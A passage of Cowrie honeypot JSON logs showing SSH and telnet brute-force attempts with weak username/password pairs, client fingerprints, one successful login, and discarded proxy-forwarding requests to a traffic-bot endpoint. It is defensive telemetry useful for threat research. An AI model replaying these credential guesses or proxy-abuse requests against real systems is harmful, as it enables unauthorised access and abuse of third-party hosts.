16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:23.095097Z","src_ip":"91.92.40.36","session":"9c5439008356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62552,"dst_ip":"10.17.0.5","dst_port":22,"session":"982b55f1fedf","protocol":"ssh","message":"New connection: 45.153.34.195:62552 (10.17.0.5:22) [session: 982b55f1fedf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:23.503714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:23.513054Z","src_ip":"45.153.34.195","session":"982b55f1fedf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:23.604769Z","src_ip":"45.153.34.195","session":"982b55f1fedf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123","message":"login attempt [alex/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:24.089524Z","src_ip":"45.153.34.195","session":"982b55f1fedf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:25.174012Z","src_ip":"45.153.34.195","session":"982b55f1fedf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62568,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d0d8db87d46","protocol":"ssh","message":"New connection: 45.153.34.195:62568 (10.17.0.5:22) [session: 4d0d8db87d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:26.341614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:26.351943Z","src_ip":"45.153.34.195","session":"4d0d8db87d46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":47720,"dst_ip":"159.203.135.109","dst_port":23,"session":"e36b1f8a4682","protocol":"telnet","message":"New connection: 172.81.62.90:47720 (159.203.135.109:23) [session: e36b1f8a4682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:26.371359Z"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:26.413243Z","src_ip":"91.92.40.36","session":"9c5439008356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:26.442354Z","src_ip":"45.153.34.195","session":"4d0d8db87d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.65328812599182,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:26.527474Z","src_ip":"172.81.62.90","session":"40e6b6c0bc74","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"pruebas","password":"pruebas","message":"login attempt [pruebas/pruebas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:26.890845Z","src_ip":"45.153.34.195","session":"4d0d8db87d46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":63583,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc5d14220423","protocol":"ssh","message":"New connection: 123.27.168.40:63583 (10.17.0.5:22) [session: dc5d14220423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:27.561772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:27.570736Z","src_ip":"123.27.168.40","session":"dc5d14220423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:27.817143Z","src_ip":"91.92.40.36","session":"9c5439008356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:27.926332Z","src_ip":"123.27.168.40","session":"dc5d14220423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:27.979779Z","src_ip":"45.153.34.195","session":"4d0d8db87d46","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:29.261343Z","src_ip":"123.27.168.40","session":"dc5d14220423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":62584,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a98b586980d","protocol":"ssh","message":"New connection: 45.153.34.195:62584 (10.17.0.5:22) [session: 8a98b586980d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:29.348228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:29.355210Z","src_ip":"45.153.34.195","session":"8a98b586980d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:29.437613Z","src_ip":"45.153.34.195","session":"8a98b586980d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:29.649133Z","session":"dc5d14220423","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:29.780138Z","session":"dc5d14220423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:29.859447Z","src_ip":"45.153.34.195","session":"8a98b586980d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:30.049799Z","src_ip":"123.27.168.40","session":"dc5d14220423","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NUolP093WEhAUi82Sl9Bag%3D%3DaB58ciruK3IZ7NX6DDhWvCNQxRKP5Q4%2FFbUpxlkzY4gI%2B%2Bmfx1AWVb03q9MB2owYeJOUwll%2Bm%2FMeNWEjXQgkX%2F1q%2FwlKQLPDsZbMGE48wXuo3VDydS85VFoc6JRLLdguoOwMkh4qwjVnneDgesX9raH%2Bh9VnMoUJCBfz7pZr1Va476XRNTuaDoRzqudOvU5kl9OJivSJRacvcvMtDdSE4WXEtpu6dOGMnAx%2Bx5SS3qxfojMNqisiuoZ%2FCOpnRw1j6Zdtk%2FYCw9DGqBwUi%2Bf4R1k9P87l%2F947UGo%2FsFJpkR4ZETw5JJT0R4hwmOQDnfKF0%2BaML77tNyfnApmoS2UxyPSonYiZ5cYleRKag5WgkVBBfMYq2MZjgCqsiaPW%2F143MmPpsLfw2u2YqRizc%2FEN2dZc6a224lj%2FeikipqZvpwTWpHVMYRNyHzvITrxmmKvgSRmOmTaYEeCA13K0VrJeWnLNp30P%2FPreqOW4rYERh7JpqQGEQAsKXnY1GCLwQbY0VooWlPeXXR1UHJIijq8awEHHeZN2TG7J%2Fl%2FQsDhvEf3olN1jMkqX%2FuPeGaLhswjdfQcJG2zNxix0u5qWCDBrYm53MaYOPJYtf1VxAZYF8xXz0fhRmI1KaF%2FHVfuFmxNIj9rxDKsUVhT%2FL5zGWeOCcjzqSg4JvXbVqZsma7oIe2kpvYCt8cSr5jXWmsw8SMmxo%2BCpbdSmtaU78o2UCK%2FLvLsLoWub1HUJ1XJOc%2B%2FOhMM6z4IzzTvYRdRUDEcXbLqIOs0u3NUZYQtMvUFGezqPaXMbXmy88EDlaBTdmccapSrMijrU%2FfrKTwsRwvOXPv13SQ16QQHbskuest1T7RYVRpiB3CSs8Ap2o9lg%2FSRUHfnowcdA1AHhJGHZ2C4%2B0EyJ6bULzWlxq63EP%2Bj%2FF%2BuvU0To3SCeZT1dxjrv04%2BWZZ8MtQl3h9fMaKtOudwR%2Bv%2FAZZn5aAeyK82EtL1MR3BeYYr4liMK2LeVnn7gcAhvFg0VBcjdeC2zyS%2BDWg47lAWFA%2B%2F6%2BQFnywmiW4KuVOIuVaAPgZfaoNseB4Jjao2fVLOLz1L1GlOMW3OQ5xeGZfWG'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NUolP093WEhAUi82Sl9Bag%3D%3DaB58ciruK3IZ7NX6DDhWvCNQxRKP5Q4%2FFbUpxlkzY4gI%2B%2Bmfx1AWVb03q9MB2owYeJOUwll%2Bm%2FMeNWEjXQgkX%2F1q%2FwlKQLPDsZbMGE48wXuo3VDydS85VFoc6JRLLdguoOwMkh4qwjVnneDgesX9raH%2Bh9VnMoUJCBfz7pZr1Va476XRNTuaDoRzqudOvU5kl9OJivSJRacvcvMtDdSE4WXEtpu6dOGMnAx%2Bx5SS3qxfojMNqisiuoZ%2FCOpnRw1j6Zdtk%2FYCw9DGqBwUi%2Bf4R1k9P87l%2F947UGo%2FsFJpkR4ZETw5JJT0R4hwmOQDnfKF0%2BaML77tNyfnApmoS2UxyPSonYiZ5cYleRKag5WgkVBBfMYq2MZjgCqsiaPW%2F143MmPpsLfw2u2YqRizc%2FEN2dZc6a224lj%2FeikipqZvpwTWpHVMYRNyHzvITrxmmKvgSRmOmTaYEeCA13K0VrJeWnLNp30P%2FPreqOW4rYERh7JpqQGEQAsKXnY1GCLwQbY0VooWlPeXXR1UHJIijq8awEHHeZN2TG7J%2Fl%2FQsDhvEf3olN1jMkqX%2FuPeGaLhswjdfQcJG2zNxix0u5qWCDBrYm53MaYOPJYtf1VxAZYF8xXz0fhRmI1KaF%2FHVfuFmxNIj9rxDKsUVhT%2FL5zGWeOCcjzqSg4JvXbVqZsma7oIe2kpvYCt8cSr5jXWmsw8SMmxo%2BCpbdSmtaU78o2UCK%2FLvLsLoWub1HUJ1XJOc%2B%2FOhMM6z4IzzTvYRdRUDEcXbLqIOs0u3NUZYQtMvUFGezqPaXMbXmy88EDlaBTdmccapSrMijrU%2FfrKTwsRwvOXPv13SQ16QQHbskuest1T7RYVRpiB3CSs8Ap2o9lg%2FSRUHfnowcdA1AHhJGHZ2C4%2B0EyJ6bULzWlxq63EP%2Bj%2FF%2BuvU0To3SCeZT1dxjrv04%2BWZZ8MtQl3h9fMaKtOudwR%2Bv%2FAZZn5aAeyK82EtL1MR3BeYYr4liMK2LeVnn7gcAhvFg0VBcjdeC2zyS%2BDWg47lAWFA%2B%2F6%2BQFnywmiW4KuVOIuVaAPgZfaoNseB4Jjao2fVLOLz1L1GlOMW3OQ5xeGZfWG'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:30.055963Z","src_ip":"123.27.168.40","session":"dc5d14220423","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:30.278128Z","src_ip":"123.27.168.40","session":"dc5d14220423","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\xcb\\xd6\\xd556)\\xc5\\xb2<Uk\\xaf\\xf8:W\\xdb\\x90\\xbe\\x87\\xc4B\\xfe\\xa7\\xe1k\\xbd\\xd8\\r\\xf4\\xe5p \\xa6>\\xf7\\xd3\\xd8\\xa8\\xdf\\xc0\\x7f\\xfb\\x9e\\xb5?\\xb7E\\x8c\\x00\\xcd\\xb0\\x9a\\xd7\\x14\\xafEns\\x1e\\x95m\\x9a\\xa5=\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1e\\xff\\xff\\xeb\\xbd\\xd7k\\x02K\\x0cJ\\xa7\\x9be\\xcc\\x0e\\xb9\\x1d\\xd5\\xf7\\xc2\\xe2\\x0f\\x0bK\\xe4sI\\xdd\\x1d3\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\xcb\\xd6\\xd556)\\xc5\\xb2<Uk\\xaf\\xf8:W\\xdb\\x90\\xbe\\x87\\xc4B\\xfe\\xa7\\xe1k\\xbd\\xd8\\r\\xf4\\xe5p \\xa6>\\xf7\\xd3\\xd8\\xa8\\xdf\\xc0\\x7f\\xfb\\x9e\\xb5?\\xb7E\\x8c\\x00\\xcd\\xb0\\x9a\\xd7\\x14\\xafEns\\x1e\\x95m\\x9a\\xa5=\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1e\\xff\\xff\\xeb\\xbd\\xd7k\\x02K\\x0cJ\\xa7\\x9be\\xcc\\x0e\\xb9\\x1d\\xd5\\xf7\\xc2\\xe2\\x0f\\x0bK\\xe4sI\\xdd\\x1d3\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0